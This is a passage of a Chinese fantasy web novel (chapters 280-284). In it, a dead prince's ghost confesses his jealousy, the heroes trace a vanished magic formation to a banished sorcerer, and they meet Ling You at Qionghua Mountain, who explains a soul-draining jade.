“是谁杀了本王?”这个问题像是难倒了白玉衡,他想了半天,最后才咬牙切齿地道,“本王知道,一定是那对狗男女!” “是谁?”白锦夜拧起眉。 “还能是谁?都是从你府上来本王府上的啊!”白玉衡凶狠地盯着白锦夜,“陆绝和裴玲珑是不是都是你安排到本王身边的?是不是你一早就谋划好了?你假意把陆绝赶出王府,他投奔了本王,你又把裴玲珑丢到孟家,陆绝再跟本王献计,本王才把裴玲珑带了回来。” “这对狗男女每天在王府装神弄鬼,亏本王还这样相信他们!都是你,都是你干的是不是?也是你让他们杀了本王,是不是?” “白锦夜,本王到底哪里惹到你,你从小到大都要跟本王抢?为什么?” “他们在你府上都做了什么?”白锦夜又问。 但白玉衡像是没有听到他的问题,只是自顾自的说着,“父皇觉得如果不是我,母妃就不会死,他把母妃的死,全都迁怒到我身上,他从来都不多看我一眼。他有时来看白风御母子,我就想,明明我也是他儿子,可为什么他从来都只抱白风御,从来不抱我?” “那时候,白风御的母妃还安慰我,说只要我足够优秀,父皇总能看得到的,于是我就听话的认真读书,每天温习到半夜,连少傅都亲口说,没有一个皇子比我更努力了!可是……可是为什么,你写字比我好,文章比我好。” “父皇每次来上书房,都会夸你,甚至还让我们临摹你的字,呵。”白玉衡冷笑一声,“我无论怎么努力,都没办法超过你,你在父皇心里,永远都是最好的!但是最嫉妒你的,恐怕也不是我,而是我们的太子皇兄。” “每次父皇夸你的时候,太子皇兄都凶狠地瞪着你,有一次甚至把毛笔都掰断了!这世上他才是最恨你的人!” “好在我和他都有太后的疼爱,为了太子之事,你不知道父皇和母后吵过多少次!父皇有多少次都想改立太子,还好啊……还好这老天是公平的,张太妃一家的事情,让父皇绝了这个心思。” “可我也知道,就算不改立太子,这皇位也轮不到我头上,我有什么呢?我只有母后对我的宠爱。母后怕什么?母后就怕有人抢他儿子的皇位。于是我就不入朝,不做官,母后觉得我对她儿子一点威胁都没有,所以就更加宠爱我。” “但我要的,是她的宠爱么?我也是父皇的儿子!我也有坐皇位的权利!我就是要坐上那个位置,让曾经所有看不起我的人,全都要跪下朝我磕头!我要让父皇知道,我比他的太子儿子强,更比你……比你这个他最宠爱的儿子的强!” “呵呵,可是白锦夜,我还是算计不过你,我千不该万不该,让陆绝进府!” 他说着再次凶狠地瞪着白锦夜,“不过现在好了,咱们一起死了,咱们一起去投胎,下辈子咱们继续做兄弟,继续……相爱相杀!” 白锦夜微微皱起眉头,“我没有让陆绝去你的府上,当时……”他微微沉默了会,当时是陆绝对裴清歌有极大的成见,而那会他对裴清歌的态度已经开始有所转变,陆绝因此不满,才会离开王府。 其实那时候的陆绝,更明显的意思,应该是让他做一个选择,如果不赶走裴清歌,那他就会离开。 那会的他没想过这么深,更没有怀疑过陆绝什么,只是觉得陆绝应该像他的师父一样,闲云野鹤,悬壶济世,而不是困在一个小小的王府之中。 “所以陆绝在你府上,到底都做过什么?” 白玉衡像是想了一会,才冷声道,“我怎么知道?他天天神神叨叨的,弄那些东西我也不清楚,但是他说那些阵法都是帮我聚气的。他说你之所以能打胜仗,都是他用这些阵法帮你的,现在他用这些阵法来帮我聚龙气,等我的龙气压过了其他人,我就可以登基了。” “那他对裴玲珑都做过什么你知道么?”白锦夜又问。 白玉衡摇了摇头,“那女人跟孟彦早就私通,我嫌弃得很,根本不想接到府里,不过陆绝说她有凤命,把她接进来,于我有益,虽然我把她接到了府里,但是也从来没碰过,更懒得关心她都在做什么。不过……我的人倒是跟我说,见过她三更半夜偷偷摸进过陆绝的房间,陆绝也没有赶她出来。” “孤男寡女大半夜的做什么,还需要我明说么?我那时猜他俩在你府上的时候就勾搭在一起了,陆绝不过是借我的名义把她接进府里,我当时还想着以后找个机会成全他们就是了,只是没想到……没想到……” 说到这里,白玉衡又开始愤怒,“我见到的,我见到的一定是他们装神弄鬼搞的!就是这对狗男女!本王有什么对不起他们的!他们要吓死本王!所以一定是你!白锦夜,一定是你!这一切都是你的阴谋!” 白锦夜看着他,之前裴子墨和裴黎去过衡王府,也没听说衡王府上还有什么阵法,便又问道,“你说陆绝在你府上摆下阵法,那阵法在哪?” “在哪?”白玉衡又大笑起来,“我不告诉你,白锦夜,你想知道,我偏偏不告诉你!” “不说就算了,左右也就是在你府里。”白锦夜说着抬手挥了挥,前面出现一条路,“走吧。” “走?去哪?”白玉衡有些迷茫地看着前面的路。 “去你该去的地方。”白锦夜抬手推了他一把。 “你也死了,你也要跟我一起去!”白玉衡说着想要伸手抓住白锦夜,可是他的身体却顺着白锦夜的力道往前面飞去,这力道他没办法抗衡,也没办法控制自己的身体,就像是前方有巨大的吸力一样,拽着他往前走,他眼睁睁地看着自己和白锦夜的距离越来越远,“白锦夜!你也死了!咱们得生生世世做兄弟,下辈子我还要做你兄长,我要狠狠的……” 他的话还没说话,就见白锦夜的手一挥,他再也看不见他了。 白锦夜收回目光,白玉衡说不定还能有下辈子,但是他是冥尸,大概是没有下辈子了。 第280章 去琼华山找凌幽 裴子墨第二天早上,也听了白锦夜的转述,于是就又去了一趟衡王府。 这一次,她仔仔细细地检查了每一个角落,可还是没有发现什么阵法。 她想不明白的时候,裴黎也刚好出现,只不过裴黎也没有任何发现。 “能确认是在这王府里么?”裴黎开口问道。 “白玉衡没说是在哪里。”裴子墨叹了一口气,“还以为这一次盛京的事能彻底解决,以后再也不用回来了,没想到这又埋下个隐患。” “未必。”裴黎摇了摇头,“虽然在阵法的造诣上,‘神术公’比不上‘神阵公’,但是天下术法皆出自‘神术公’,有阵法就会有术法的波动,咱们发现不了,也许柳甫能发现什么。”说完她便放出了柳甫的魂魄,把事情也跟柳甫说了一遍。 柳甫如今情绪已经稳定了下来,也接受了眼下的事实,他闻言之后,便认真的在衡王府里查看起来。 裴子墨和裴黎已经尽力了,于是就跟在柳甫的身后,希望他能有所发现。 他这一查,就是大半天。 就在裴子墨以为大概也不会有什么发现的时候,柳甫突然从地上捡起了一个小石子,他盯着小石子看了半响,才把手上的小石子交给了裴黎。 裴黎看着这石子,脸色微变。 等裴子墨接过石子的时候,才见到石子上,只刻着几个笔画,只不过石子只有指甲大小,这笔画也很简单,但若是仔细分辨,也能看出来应该是符咒的一部分。 “只有这个小石子了。”柳甫开口道,“这里应该之前有过阵法,只不过阵法都刻在院子里的花花草草石头树木上。” 裴子墨拧起眉头,白玉衡私通敌国,整个王府都已经被查抄,院子里几乎是一片狼藉,所以这些阵法大概是被破坏掉了。 再者,事情失败,陆绝走之前,肯定也把能处理的都处理掉了。 “阵法刻在花花草草上,随着花草的生长,阵法会不断的消失,就要不断的补刻,耗时耗力。但好处就是……”柳甫转头看向裴子墨,“好处就是这些阵法也会完全隐匿在花草之中,一旦没有时间补刻,这阵法就自然消失了,甚至都不会留下什么痕迹,这种手法,在我们那个时候,就很少见到人用了。” “毕竟这需要一个人经常来维护,有什么人能为了一个阵法,甚至要把自己都困在这里,时时修补这个阵法,就是为了将来某一天这个阵法不被别人发现?” “而且听你们的话,这个阵法好像也没有起到什么作用,那就更得不偿失了。” 柳甫说着看向裴黎,“不过,你应该知道,以前谁最爱用这个。” 裴黎沉默了会,虽然不愿意提起,但是还是开了口,“我师叔。” 柳甫听她提了这个人,就也没再说话。 裴黎又把石子接了过去,拿在手里看了很久,才说,“我们圣女一脉,都是女子,也不收男徒。但是听说在我还没有出生之前,曾经有一个人,生了双生子,其实是一个男孩一个女孩,不过按照圣女一脉的规矩,男孩是不能留下来修习术法的,所以她就把这个男孩伪装成了女孩子,一直带在身边抚养,教习术法。” “这男孩天资聪慧,在术法一途上造诣极高,甚至被看中要成为下一任圣女的。这时候他娘开始怕了,对外声称他病了,不再让他出门。只不过这件事终究是瞒不过,所以他被关到了后山禁地,而我师父成了那一任的圣女。” 裴黎说着轻轻叹了一口气,“他被关到后山禁地之后,就再也没有他的消息了,难道……是他么?” 裴子墨明白她在猜测如今这背后的一切是不是她的那位师叔做的,“但之前你们在三生石上看到跟萧玲珑联系的那个人,白锦夜跟我说,虽然看不到那人的面容,他整个人也都隐藏在宽大的黑袍子之中,可从身形上看应该是个女子。” “他娘把他伪装成女子那么多年,从身形上看像是女子,也没什么问题。”裴黎看向裴子墨,而且她从三生石上看到的景色,确实也像是后山禁地。 “我听说他被关进后山禁地,他娘被处死,他也一直在禁地里修炼,后来从禁地里跑出来一次,试图为他娘报仇。那时候圣女一脉就没有人是他的对手了,还是当时的‘十一公’一起出手,把他重新镇压回禁地。”柳甫接过了这句话,“这件事我也是听我爹提起过的,他当时也参与了那一次的镇压。” “而且那次镇压的时候,由‘神阵公’主持,画了一个极大的阵法,我爹跟我说这件事,是告诉我之后每隔一些年,‘十一公’就要一同去巩固这个阵法。” “如果这么说的话,操纵整件事的人,倒也极有可能是他。” “他要报杀母之仇,再加上镇压他的事情,‘十一公’都有份,那……他逐一找上门报仇也不是不可能。” 裴黎的脸色逐渐凝重起来,“想一想,确实也只有他有这个动机和能力了。” 裴子墨皱起眉头,“我之前听白锦夜说,陆绝有个师父,是神医,陆绝一身的本事都是跟他学的,只不过他一开始表现出来的,也只是会些医术,并不会阵法这些,他师父极少露面,那他师父会不会……” “那就先找找陆绝吧。”裴黎叹了口气,又看向柳甫,“其他人的魂魄从阵法里离开之后,都去找自己的后人了,你呢?是留下跟我们一起,还是去找你们那一脉的后人?” 柳甫笑得有点无奈,“我尚未成亲,根本没有什么直系后人,找与不找,都过去这么多年了,还有什么意义?不如跟你们一起,说不定还能帮上什么忙。” “好。”裴黎点点头,“如果真的是他的话,我们这几个人肯定都不是对手,我们先去琼华山,把凌幽找出来。” 第281章 不要等到年底了 往回走的路上,裴黎轻轻地叹气,“当年,大概是因为神傀公死后,没办法再加固法阵,所以我师叔才会从后山禁地逃出来。” 裴子墨转头看她,“这件事别人不知道,可神傀公自己肯定是知道的,他明知道自己有重要的任务在身上,还一意孤行,把自己炼成傀儡甚至自爆,与人无尤。” “话是这么说。”裴黎说着顿了下,“如果当时我禁锢他魂魄的时候,他把这件事说出来,说不定我也会放他一马。”说完她摇了摇头,“算了,都已经过去的事,再提没什么意义。” 裴子墨回到府上的时候,左辞已经在门口等了她好半天,一副望眼欲穿的模样。 “王妃,你可算回来了,今天府上可真热闹。”左辞说着下巴往堂上点了点。 裴子墨顺着看过去,便见到萧公瑾、萧尺寒和萧忆翎来了,白锦夜坐在堂上,萧家几口人对面坐着的,正是锦成。 她犹豫了一下,才对着柳甫说,“这便是萧玲珑的后人了。” 左辞四下看了看,挠着脑袋问,“王妃,你在跟谁说话?” “你想知道?”裴子墨转头看他。 左辞犹豫了一下,随即赶紧摇头,他看不见的东西还是永远不要看见的好。 裴子墨看着柳甫往前走了几步,但是又停下脚步站在原地,一脸纠结的模样,干脆替他做了决定,直接进了大堂。 萧忆翎见到裴子墨走进来,脸色更加难看,这女人不是派人去琼华山想要杀了白锦夜么?当时要是不是萧尺寒,说不定就被她得逞了。 结果现在白锦夜对救命恩人视而不见,反倒跟这个女人走到了一起。 萧公瑾的目光先是落在裴子墨的身上,随即往她旁边看了几眼,他隐约的感觉到在那里有些气息不太一样,可是却又什么都看不到。 “总之,我是不会娶她的。”锦成的脑袋摇的像是拨浪鼓,“当初她对我见死不救,她看我的目光里也都是厌恶,她根本就不喜欢我,让我娶她肯定是有所图谋,我才不傻。” 裴子墨微微皱了下眉头,走到一旁坐下,开了口,“既然两个人都不愿意,其实也不用勉强,萧姑娘身上的莲花完全可以不养,对任何人都没有影响。” 萧公瑾怔了一下,萧忆翎身上莲花的事情,在萧家都算是个秘密,他也更是只有告诉过那位裴先生和白锦夜,难道是……他看了白锦夜一眼,眼底闪过一抹不快,又很快隐藏下去,才开口道,“这位姑娘对我萧家的事不了解,也不要胡说。” “我没有胡说,你们爱信不信。”裴子墨说着撑着下巴看着萧公瑾,“之前我们偶然间遇到了一个魂魄,意外得知这魂魄是多年以前的一任‘神目公’,从她的记忆里,我们知道了一些事,这莲花养了也就是个强身健体的作用,不养也没什么影响。” 萧公瑾微微拧起眉,他虽然跟白锦夜表述过自己也是“十一公”中的一脉,但是并没有表明是哪一脉,如今对方直接提起“神目公”倒是让他诧异,也就是说,她已经摸清了他家的底细,“那不知道你遇到的是哪一位‘神目公’,名字可否告知?” “不方便。”裴子墨直接拒绝,“我们马上就要离开京城,也不想因为这件事再跟你们牵扯不清,我说的话你们信就信,不信就算了。” “是啊。”白锦夜接过了话,“当初念着总算是有点交情,我才安排人把锦成的消息给你们,若是你们善待他,也不至于如此。就算你们发现了他不是我,可一样的血脉,长得如此相像,你们应该也能猜到什么,现在我也完全尊重锦成的想法,既然他不愿意,你们也别再在这件事上费心思了。” 他说着顿了顿,才又道,“如今新帝即位,萧太师若是愿意为朝廷效力,便多分忧,若是不愿意,便尽早告老还乡,免得将来新帝清算之时,牵扯到萧家。” 这话里,多少也带着些威胁的意味了。 虽然萧公瑾这些年已经不在朝中,可对于白锦夜来说,萧家不得不防。 他们对锦成的态度已经让白锦夜不满,再加上萧玲珑做的事情,也让人不齿。 而且他们从琼华山回来的时候,京城出了事,萧公瑾也完全没有想着救人,整个萧家,就只有萧尺寒一个人留在京城帮忙。 以及以后他们若是不在天风国,这萧家毕竟是会些术法,尤其是萧忆翎会幻象,谁知道会不会为了萧家的利益做出什么事来? 这件事他已经提醒过白风御,白风御是见过裴子墨本事的,当然相信,可就算他能堤防萧家,他也毕竟是个普通人,难免着了道儿。 萧公瑾的脸色微变,当初他家里的那个劫煞蜮没破之前,就已经冲破他家的气运。 之后他虽然调整了阵法,可是被冲破的气运还是没有办法修补,而且越来越成颓败之势。 他本来是想着,等过了年,就让萧尺寒去寺里,等他走了,说不定萧家的气运能转好。 可如今听了这话,这朝中大概是没有萧家的立足之地了。 他叹了口气,没再说话,站起身,对着白锦夜拱了拱手,便转身往外走。 萧尺寒多少有些尴尬,他看向白锦夜,“王爷,我爷爷没有什么坏心,他只是……” “只是以萧家的利益为先。”裴子墨打断他的话,“这很正常,人都是自私的。” “哥,你还跟他们废什么话?”萧忆翎咬着牙站起来,快步追上萧公瑾。 萧尺寒看着萧忆翎叹了口气,又对着裴子墨道,“我妹妹不懂事……” “萧公子不要等到年底了。”裴子墨再次打断他的话,“如今萧家运势低微,承受不知道你身上的煞气了。”她说着捏了一道符咒递给萧尺寒,“随身带好,还能保你些日子,尽快离开萧家去寺里吧。” 萧尺寒怔了下,伸手接过符咒,他自然还记得当初那位裴先生说能保他家到年底,他也几次觉得眼前这个女子有些熟悉,他犹豫了片刻正要开口询问,便听白锦夜先开了口—— “左辞,送客。” 第282章 你师叔现在在盛京? 等萧尺寒也走了之后,裴子墨这才转头看向锦成,“人家都已经好声好气的上门找你了,你娶了萧忆翎,成了萧家的乘龙快婿,下半辈子可就衣食无忧了,跟着我们,就要颠沛流离,而且随时都有危险,这样的选择,我还以为对你来说很简单呢。” 锦成的目光有些躲闪,“嘿嘿”笑了两声,“当初我掉了悬崖下面,他们家都没人救我,要不是你们俩,我早就死了,我才不去给他们做什么乘龙快婿,跟着你们,就算有危险,你们也不会不管我的。” 裴子墨笑了笑,打量了他半响,才看向白锦夜,“萧家的气运到头了。” 白锦夜微微一怔,想着刚才裴子墨的话,她说让萧尺寒赶紧走是为了萧家其他人好,但是实际上,怕是催促萧尺寒快走免得跟萧家其他人一样大祸临头。 裴子墨站起身,伸了个懒腰,“我们也准备准备,早点出发吧。”她说着顿了下,扫了下堂上的人,“我就一个人,随时都能走,你这一走,说不定有多少人要跟着你,你还是尽早安排好。” “王妃,你怎么能这么说?”左辞看了白锦夜一眼,赶紧跟上裴子墨,“王妃,属下是你的人啊,你忘了么?王爷把属下拨给你管了,你得带上属下啊。生意虽然不做了,但是咱们不能散伙对不对……” 白锦夜捋了捋袖口,看向锦成,“我们出去有事情要办,稍后我会派人送你去复州,外公在复州,之前家里人一直不知道你的存在,之后,外公也会好好待你。” “哥,你就带上我吧,我不会给你添乱的……”锦成的脸上带了几抹央求之色。 “就这么决定了。”白锦夜站起身。 锦成抿了抿唇,极不开心的起身往外走。 白锦夜看了他一眼,轻轻地叹了口气,马上就要离开盛京,他和白风御还有顿酒没喝,便也就进了宫。 以前都在京城的时候,他和白风御虽然是兄弟,但交情不深。 后来各自去边关,也从未联系过,没想到到最后,能坐下来一起喝酒的,竟然是他们两个。 这顿酒一直喝到了天亮。 白锦夜回府之后,就让司空和榆北等人带着锦成去复州。 而左辞靠着死皮赖脸抱着门口的石狮子哭爹喊娘的留了下来。 他们一行人就在第三天早上启程,赶往琼华山。 刚出城门的时候,就遇到一个人背着行囊骑马出城的萧尺寒。 “真是好巧啊。”萧尺寒有些诧异地看着他们,“你们这么快就离京?” 裴子墨往他的身后看了看,“怎么,萧家没一个人送你么?” 萧尺寒苦笑了一声,“是我要他们不要送的,我可受不了那哭哭啼啼的场面,再说,以后也不是不能见了。”说完他顿了下,看着裴子墨试探地问道,“他们以后,应该能来寺里看望我吧?” 裴子墨没有回答他这个问题,就算是能去看他,大概也没机会再去了,便转口问道,“你打算去哪个寺里出家,想好了么?” “爷爷说,他告老还乡之后,就要回宛阳了,宛阳在北,我想我应该是离他们越远,对他们的影响越小,所以我打算去南边的临漳一带。到时候看看哪个寺庙香火旺盛,就留在哪吧。”萧尺寒说着轻轻地叹了口气。 “那就祝你一路顺风。”裴子墨开口道。 萧尺寒对着她和白锦夜拱了拱手,“若是将来你们来临漳,有时间的话,可以打听打听,来看看我。” 白锦夜微微点了点头,“一路顺风。” 和萧尺寒分开之后,裴子墨一行便快马加鞭往琼华山赶。 十几天之后,才到了琼华山脚下。 裴黎和柳甫也从锁魂玉笛里出来透气。 柳甫看着眼前的琼华山,眼里闪过震惊,“这整座山都是一个巨大的阵法啊,你们的意思,这阵法是凌幽设置的?”说完他自己摇了摇头,“不可能,这不可能是凌幽设置的,这阵法倒有几丝天生地养的意味,凌幽最多也就是在这里面做了少许的改动。” 裴子墨转头看着他,“你在这就能看出整个阵法?” “这阵法溢出很浓郁的术法波动。”柳甫往前走了几步,像是在查看什么,又转头看向裴黎,“你感觉到了么?” 裴黎微皱了下眉,才看向裴子墨,“这确实不像是凌幽设置的,以我对他的了解……”她说着顿了顿,解释道,“每个人都有自己的习惯,就比如有些人布置阵法的时候,是从左往右,或者从上往下,或者由内而外。” “往往最后布置的是生门的位置,布阵的人,也是从生门的位置离开。但是凌幽设置阵法,从来都是先布置好生门。而眼前的这个,肯定不是。不过过了这么多年,也说不定……”说完,她也没有再往下说,便转口道,“我们先去那个深渊看看吧。” 裴子墨点点头,跟着白锦夜在前面带路。 柳甫虽然也跟着他们,但是也依旧在四处查看。 走到那个地下室的旁边,正要下去的时候,裴黎突然停下了脚步,她转身往某个方向看去,半响都没有动。 就连柳甫都顺着看过去。 裴子墨拧起眉,她虽然没感受到什么,但是算了算时间,看着白锦夜解释道,“萧家怕是出事了。” 白锦夜叹了口气,没说话。 裴黎这才想起什么,看向白锦夜,“咱们当时在三生石的时候,看到萧玲珑嫁给谁了么?” 白锦夜想了会,摇了摇头。 “我那会就觉得有什么东西被忽略了!”裴黎的脸色凝重,“当时萧玲珑跟柳甫有婚约在身,不可能再去接触其他的男子,柳甫死了之后,她就一直跟着那个人四处跑,又怎么可能有时间结婚生子!” “你的意思是,她其实没有成婚,如果有了孩子,有了后代,那后代就是……你师叔的?”裴子墨看着裴黎,当时他们查看三生石的时候,她是昏迷的状态,三生石上的事,也是后来她清醒了以后才知道的。 “那他……为什么要杀了自己的后代?”裴黎看着盛京的方向,低声喃喃地道。 裴子墨微微瞪大眼睛,“你师叔现在在盛京?” 第283章 多余的左辞 裴黎摇了摇头,“我也不清楚,我从来没见过我师叔,我辨别不了他的气息。” “但是……之前见到萧家人,若是想要杀他们应该不费什么力气,要不了这么大的术法波动。”柳甫在一边开了口,“在这里都感受到的波动,交手双方的实力都不低。” “萧家可没有这样的人。”裴子墨拧起眉,顿了顿又补充,“但也只能说,我见过的萧家人没有这样的实力,也难保萧家有什么隐藏着的高手,或者……杀手锏一类。但是……”她想了会,“又不太像。” 裴黎收回目光,“我们也抓紧时间吧。” 白锦夜的脸上闪过一抹担忧,“这会影响到京城的其他人么?” “不会。”裴子墨走在他身边,低声道,“盛京最近几十年都不会有什么天灾人祸。”她说着轻轻叹了一口气,“其实本来萧家的气运也还有不少年,只是……萧公瑾以阵法聚拢祥气,这于眼下来说,虽然是好事,但是无论是一个人也好,还是一个家族也好,所有的运势都是注定的,什么时候走好运,什么时候走霉运。” “他们提前预支了整个家族的好运,却也没有在这段期间积德行善,那早晚会出事的。” “等他们家这个劫提前,就没什么人能帮忙挽回了。” 白锦夜也跟着叹了一口气。 “所以他们家应该没有隐藏的高手了,不然不会犯这么低级的错误。”裴子墨继续道。 说着话,也走到了深渊前。 白锦夜和裴子墨早已见过这深渊,眼下就是看裴黎和柳甫是不是有什么新的想法。 他们两个都站在深渊前往下看,半响后,裴黎才转头看向白锦夜,“你能下去么?” “没有试过。”白锦夜皱了下眉头。 裴黎沉默了会,才问,“之前你们说的,里面有住人的地方?” 白锦夜点点头。 “那我们先去那看看。”裴黎又道。 白锦夜转头看向一脸茫然的左辞,“你在这等我们吧,不要乱走。” “是。”左辞点点头。 白锦夜看着裴黎和柳甫都回了锁魂玉笛,才抱起裴子墨往里面走。 左辞瞪大眼睛看着白锦夜凌空而行,忍不住“啧啧”了两声,果然跟裴子墨在一起时间长了,他家王爷都不是正常人了。 这里到处都是阴森森的,左辞自然也不敢乱走,于是就找了个角落蹲了下来。 等到了里面的宅院,裴黎和柳甫才出来。 裴黎看着眼前的宅院,眸里闪过一抹惊诧,随即才逐个房间查看起来。 这里确实如裴子墨所说,到处都是空荡荡的,什么东西都没有。 就连住过人的痕迹都没有。 假设凌幽真的在这里住过,难道他离开的时候,把这里所有的东西都带走或者都毁掉了么? 查看一圈,一无所获之后,裴黎才回了院子中间,轻轻地叹了口气,“凌幽应该真的在这里呆过。” “但有一点我还不太明白。”裴子墨开口道,“这个宅院其实不算大,只有几间房,按说也住不了几个人。可是按照张明彻的记忆,他应该是有一个大家族,大家族受到追杀之后,就剩下他自己活下来,那就肯定不是这里。” “也许去深渊下面看看,就知道了。”裴黎说着看向白锦夜,“你有没有办法把黄泉路往下延伸?” 只要白锦夜能下去,他们就能跟着一起下去。 “可以。”白锦夜应了一声,还不等再说什么,就突然转身往外面看去,“有人来了。” 他到了这里之后,对所有的一切都感知很明显,甚至于有人在琼华山上,他都能感觉到。 但是对于其他人来说,包括裴黎和柳甫都一样,这道深渊就隔绝了他们对外界的感觉。 裴子墨微微皱起眉头,“左辞还在外面,咱们赶紧出去。” “来不及了。”白锦夜说着拉着裴子墨的胳膊,往后退了几步,一脸警惕地看着院子外面,“他已经进来了。” “进来?”裴子墨转头看着他,白锦夜说的进来显然不是对方由地面下到地下室,而是已经越过深渊在朝这边走过来,“会不会是……” 她的话还没说话,就听到左辞“诶呦、诶呦”的大叫,这声音里多少带着夸张的意味,显然是想要提高声音来提醒他们的。 “诶呦,大哥,你轻点啊,我肩膀都要被你捏碎了,我说咱们见过面的,你还记不记得了?” “你还记得流霞山么?虽然我没跟你说话,但是你跟我们王妃说话了,你记性没有这么不好吧?” “你当时不是说话来着么?现在怎么不说了?这才多长时间没见,你不会是遭遇什么意外变哑巴了吧?” “……” “流霞山?”裴子墨的眼睛一亮,转头看向裴黎,“是苍幽,如果他就是凌幽的话……” 这会这个猜测也基本就确定了,能用黄泉路走到这里的,眼下这世上除了白锦夜以外,大概也就只有凌幽了。 裴黎下意识地后退了一步,又抿了抿唇,脸上带了几抹紧张。 她之前感受不到对方的气息,但是对方走过深渊,走到院子前面,她就已经完全能感受到了。 裴子墨都清晰地感受到裴黎的呼吸都微微急促起来。 凌幽还没进门,就先把左辞给扔了进来。 左辞在地上打了个滚,赶紧站起来,小跑到白锦夜和裴子墨的身边。 凌幽一只脚才刚迈进门,就蓦地停了下来,目光直直地落在裴黎的身上。 他自然能感受到这里有几个人,但是他却没有感受到裴黎的气息,哪怕现在裴黎站在他面前,他也丝毫感受不到她身上的气息。 “你……”他看着这和记忆里一模一样的脸,一时语塞,但是他猛地想起了什么,转身就要走。 “凌幽!”裴黎赶紧出声叫住他,“你别躲,我是来找你的。” 凌幽的脚步顿了顿,脊背都有些僵直。 柳甫轻咳了一声,识趣地回了锁魂玉笛,不想在这碍事。 白锦夜也拉着裴子墨和左辞进了旁边的房间。 院子里只剩下一人一魂,不知道过了多久,凌幽才转过身迈着僵硬的步伐进了院子。 他挥手设了禁制,两个人说了什么,其他人也听不见。 白锦夜从窗子收回目光,看向裴子墨。 “这是要表白么?”左辞眨巴着眼睛八卦地问道,“王爷你倒是学一学,怎么谁都比你进展快?” 白锦夜冷眼看向左辞,刚刚到了嘴边的话,这下也彻底地咽回了肚子,他怎么忘了这还有个多余的左辞? 第284章 凌幽 上千年未见,凌幽和裴黎确实有很多话要说。 其他人自然不会那么不识趣的打断。 裴子墨在桌边坐下,“凌幽到了就好了,这下面到底是什么,没人比他更清楚了。”她说着看向白锦夜,“你家的事情,这一下也应该能彻底的知道了。” “有些事情可真是神奇,当时在流霞山见到凌幽的时候,哪知道他会是这样的身份,如果当时就知道他是谁,也许很多事都不用兜这么大的圈子了。” 她一边说着,一边随意地把玩着手里的铜钱。 白锦夜有点后悔把左辞一起拽进这个房间了,早知道就应该把左辞扔在外面,反正他脸皮厚的很,一点都没有自知之明。 过了很久,左辞都心大的在旁边睡一觉了,裴黎才出声叫他们出去。 裴黎和凌幽都坐在桌边,虽然两个人之间的误会应该都解开了,但毕竟隔了这么久,两个人也没有显得特别亲密。 等其他人也坐下之后,裴黎才看向凌幽,“你把当年的事情,跟他们也说一下吧。” 凌幽微微点头,“当年神傀公兄妹失踪之后,再加上我儿媳出事,我更加相信这世上天理循环,逆天而行就总要承受更严重的后果,所以我拒绝了凌珞要再次使用华精玉的要求,这只是其一。” 他说着叹了口气,“其实那华精玉,是个烫手山芋,当初我们祖上第一任‘神冥公’把它拿出来之后,一开始以为它有大用处,可后来才发现事情不对了。” “他离开前,也曾多次想把华精玉还回地府,但是明明已经送了回去,一转身,还会出现在家里。他也问过地府的人,可这种事前所未有,那边也没有办法。他只能用阵法镇住华精玉,并且留下祖训,任何人不得使用华精玉,若有机会,便将此物还于地府。” “至于到底他发现了什么问题,却并没有传下来。当时,我也是鬼迷心窍,就动用了华精玉来修复凌珞的魂魄。后来我才发现,原来这华精玉修复魂魄的方式,其实就是汲取其他人的魂魄,如果是一死换一生,也还罢了,可是这华精玉对魂魄的转化,百不存一,也就是说,当时修复凌珞的魂魄,另外不知道要死多少人,或者……导致了多少的人魂飞魄散。” “而且封住华精玉的阵法破了以后,这华精玉就时不时的吸人魂魄。一旦吸了魂魄,整块玉都变得晶莹剔透,不然,就乌秃秃的像块石头。” “那之后的很多年,我都往返地府之间。一是因为……我感受不到阿黎的气息,怕她已经不在人世,想要去地府找她,另外也是因为想要找到把华精玉还回去的方法。” “但这两件事,没有一件成功,以致于凌珞也因此跟我闹翻,这些我都告诉过他,可他不听,他当时就宁愿杀了所有人,也要拿华精玉去温养魂魄。我不给他,他就想尽办法来偷。当时我实在没办法把华精玉还回去,也没办法用阵法镇压华精玉,就只好离开,想着找个什么地方,把华精玉藏起来。” “最后到了这里,这里确实有一处天生地养的极大阵法,我在这里稍加改动,不仅隐藏住了华精玉的气息,也控制住了它不再吸收魂魄。于是我就在此处定居,到后来我那小孙子成亲,家族慢慢光大,可我还是放不下阿黎。” “既然一切都安定下来,我就在这山上设了防止凌珞前来抢夺华精玉的阵法,从此四处游荡,寻找阿黎。一直到二十多年前,我感觉到这里阵法动荡,赶来的时候,只来得及救出一个孩子。” 他说着抬手指了指外面的深渊,“其实哪里原来并不是深渊,而是其他族人居住的地方,这个小院子只是我一个人的住所,这个居所平时没有人来,因为这里的一切……都是仿照当时我和阿黎生活的房子所建。” 裴子墨了然,怪不得这里什么都没有,但是裴黎也确定凌幽在这里居住过。 凌幽说着转头看了看裴黎,眼里带着几丝柔光,顿了顿,才继续道,“但是那一次,外面那一片地面坍塌,所有人都掉到了深渊下面。” “我把那个孩子送到外面的一个山洞安顿好,叮嘱他这里的事情不要对外人说起,就回了这里,找到了一个族人的魂魄,询问之下才得知,这么多年,在族人里传来传去,那华精玉已经变成了不得了的宝贝。” “但是这么多年,华精玉已经和琼华山的阵法融合在了一起,他们争抢之中,触动了这琼华山的阵法,导致整个地面塌陷。我也到深渊下面查看过,华精玉确实已经没办法和阵法剥离了。我想这大概也是好事,起码也没人能再拿走这华精玉。” “不过……刚刚听阿黎的话,那也就是说,当年族人争抢华精玉,很有可能也是被挑唆的。” 裴子墨微微点了点头,“这么多年,凌珞都没有放弃寻找华精玉,他不能亲自来,就只能派人来。”她说着顿了顿,“但是我听说,‘十一公’的后人,要互相之间通婚才能延续血脉,你的族人都在这深山之中,是如何去寻找其他族人的?” “和普通人成婚,血脉会越来越薄弱,直至消失,也并不是说和普通人在一起,血脉就不能延续。”凌幽说着皱了下眉头,“和普通人在一起,确实很难孕育子嗣,但也并不是完全不能,不过以前的时候,族里会专门准备这方面的丹药,只是如今这么多年过去,大概早都失传了。” “那你知道其他家族的事情么?这么多年,你都完全没有听说么?”裴子墨又问。 “我回过北冥国几次,不过世事变迁,我唯一的心愿就是找到阿黎,其他的事情都没有那么关心了。”凌幽说着转头看向裴黎,“没想到,这么多年过去,一切都变了。” “是啊。”裴黎点点头,脸上也带着唏嘘。 “那既然现在找到凌幽了……”裴子墨微微抿了下唇,“我们是不是该想想办法,怎么应对你师叔了?他弄那个九星灭仙阵,显然就是针对你,他现在若是去了盛京,就一定会发现你从阵法里逃脱了,肯定会找上门,我们总不能没有一点防备。” “九星灭仙阵?”凌幽有些诧异地看着裴黎,“怪不得我感受不到你的气息,你已经成仙了?” 